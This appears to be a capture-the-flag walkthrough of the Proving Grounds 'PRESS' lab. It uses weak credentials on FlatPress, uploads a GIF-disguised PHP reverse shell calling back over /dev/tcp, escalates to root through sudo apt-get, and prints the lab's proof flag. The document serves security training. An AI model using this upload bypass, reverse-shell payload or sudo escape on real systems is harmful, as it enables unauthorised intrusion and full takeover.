Summary #
On port 8089 there is a website called FlatPress
to which we can login using weak credentials. Once in the website we can upload a PHP reverse shell using a GIF magic byte and get initial access. Once on the box we find that the current user can run the apt-get
binary as sudo without a password. This allows us to escalate privileges to the root
user.
Specifications #
- Name: PRESS
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Intermediate
- OS: Linux debian 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux
- IP address: 192.168.141.29
- OFFSEC provided credentials: None
- HASH:
local.txt
: None - HASH:
proof.txt
:a9096553b0fbc827489d45a5d68ec32b
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir press && cd press && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Aug 15 12:45 .
drwxrwxr-x 25 kali kali 4096 Aug 15 12:45 ..
drwxrwxr-x 2 kali kali 4096 Aug 15 12:45 enum
drwxrwxr-x 2 kali kali 4096 Aug 15 12:45 exploits
drwxrwxr-x 2 kali kali 4096 Aug 15 12:45 files
drwxrwxr-x 2 kali kali 4096 Aug 15 12:45 tools
drwxrwxr-x 2 kali kali 4096 Aug 15 12:45 uploads
## set bash variable
ip=192.168.141.29
## ping target to check if it's online
ping $ip
PING 192.168.141.29 (192.168.141.29) 56(84) bytes of data.
64 bytes from 192.168.141.29: icmp_seq=1 ttl=61 time=32.1 ms
64 bytes from 192.168.141.29: icmp_seq=2 ttl=61 time=33.1 ms
^C
--- 192.168.141.29 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 32.092/32.610/33.129/0.518 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
TreadStone was here 🚀
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.141.29:22
Open 192.168.141.29:80
Open 192.168.141.29:8089
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-15 12:46 CEST
Initiating Ping Scan at 12:46
Scanning 192.168.141.29 [4 ports]
Completed Ping Scan at 12:46, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:46
Completed Parallel DNS resolution of 1 host. at 12:46, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 12:46
Scanning 192.168.141.29 [3 ports]
Discovered open port 22/tcp on 192.168.141.29
Discovered open port 80/tcp on 192.168.141.29
Discovered open port 8089/tcp on 192.168.141.29
Completed SYN Stealth Scan at 12:46, 0.04s elapsed (3 total ports)
Nmap scan report for 192.168.141.29
Host is up, received echo-reply ttl 61 (0.017s latency).
Scanned at 2025-08-15 12:46:47 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
8089/tcp open unknown syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
Raw packets sent: 7 (284B) | Rcvd: 4 (160B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
8089/tcp open unknown syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..
## output previous command
22,80,8089
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,8089 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNEbgprJqVJa8R95Wkbo3cemB4fdRzos+v750LtPEnRs+IJQn5jcg5l89Tx4junU+AXzLflrMVo55gbuKeNTDtFRU9ltlIu4AU+f7lRlUlvAHlNjUbU/z3WBZ5ZU9j7Xc9WKjh1Ov7chC0UnDdyr5EGrIwlLzgk8zrWx364+S4JqLtER2/n0rhVxa9RCw0tR/oL24kMep4q7rFK6dThiRtQ9nsJFhh6yw8Fmdg7r4uohqH70UJurVwVNwFqtr/86e4VSSoITlMQPZrZFVvoSsjyL8LEODt1qznoLWudMD95Eo1YFSPID5VcS0kSElfYigjSr+9bNSdlzAof1mU6xJA67BggGNu6qITWWIJySXcropehnDAt2nv4zaKAUKc/T0ij9wkIBskuXfN88cEmZbu+gObKbLgwQSRQJIpQ+B/mA8CD4AiaTmEwGSWz1dVPp5Fgb6YVy6E4oO9ASuD9Q1JWuRmnn8uiHF/nPLs2LC2+rh3nPLXlV+MG/zUfQCrdrE=
| 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCUhhvrIBs53SApXKZYHWBlpH50KO3POt8Y+WvTvHZ5YgRagAEU5eSnGkrnziCUvDWNShFhLHI7kQv+mx+4R6Wk=
| 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN4MSEXnpONsc0ANUT6rFQPWsoVmRW4hrpSRq++xySM9
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.56 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Lugx Gaming Shop HTML5 Template
|_http-server-header: Apache/2.4.56 (Debian)
8089/tcp open http syn-ack ttl 61 Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 315957B26C1BD8805590E36985990754
|_http-title: FlatPress
|_http-generator: FlatPress fp-1.2.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
8089/tcp open http syn-ack ttl 61 Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 315957B26C1BD8805590E36985990754
|_http-title: FlatPress
|_http-generator: FlatPress fp-1.2.1
On port 8089 there is FlatPress website with a login function. Click on Login and use the weak credentials admin:password
to login.

Before we are able to upload a file we need to create a PHP webshell and get the local IP address on tun0. We need to set the GIF magic byte (https://en.wikipedia.org/wiki/List_of_file_signatures), otherwise the PHP file will error out while uploading. Also we need to setup a local listener for catching the reverse shell.
## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::c36:35f1:8cdf:ff6d/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## create a file called `shell.php` with this content
GIF89a;
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.204/9001 0>&1'");?>
## setup listener
nc -lvnp 9001
listening on [any] 9001 ...
Once logged in the website, click on the Uploader
menu item, select Browse
and upload the shell.php
.

Once you clicked on Upload
it should say File(s) uploaded
.

Now go to the Media manager
tab and click on shell.php
.

Catch the reverse shell as the www-data
user in the /var/www/flatpress/fp-content/attachs
directory.
## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.141.29] 56612
bash: cannot set terminal process group (601): Inappropriate ioctl for device
bash: no job control in this shell
www-data@debian:/var/www/flatpress/fp-content/attachs$
Privilege Escalation #
To get a proper TTY we upgrade our shell using the script
binary.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
www-data@debian:/var/www/flatpress/fp-content/attachs$ export TERM=xterm
www-data@debian:/var/www/flatpress/fp-content/attachs$ stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.204/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::c36:35f1:8cdf:ff6d/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## start local webserver
python3 -m http.server 80
## on target
## change directory
www-data@debian:/var/www/flatpress/fp-content/attachs$ cd /var/tmp
www-data@debian:/var/tmp$
## download `linpeas.sh`
www-data@debian:/var/tmp$ wget http://192.168.45.204/linpeas.sh
--2025-08-15 07:23:10-- http://192.168.45.204/linpeas.sh
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 0%[ linpeas.sh 100%[================================================================================linpeas.sh 100%[=============================================================================================================>] 933.76K 4.33MB/s in 0.2s
2025-08-15 07:23:10 (4.33 MB/s) - 'linpeas.sh' saved [956174/956174]
## set the execution bit
www-data@debian:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
www-data@debian:/var/tmp$ ./linpeas.sh
The linpeas.sh
output shows the www-data
user can run the /usr/bin/apt-get
binary as root without a password. We can verify this by type sudo -l
. Using GTFOBins (https://gtfobins.github.io/gtfobins/apt-get/#sudo) we can escalate our privileges to the root
user and get proof.txt
.
## list `sudo` privileges
www-data@debian:/var/tmp$ sudo -l
Matching Defaults entries for www-data on debian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on debian:
(ALL) NOPASSWD: /usr/bin/apt-get
## use sudo and apt-get to get less
www-data@debian:/var/tmp$ sudo apt-get changelog apt
## once the changelog for apt is shown, type this to get `root`:
!/bin/sh
## print `proof.txt`
# cat /root/proof.txt
a9096553b0fbc827489d45a5d68ec32b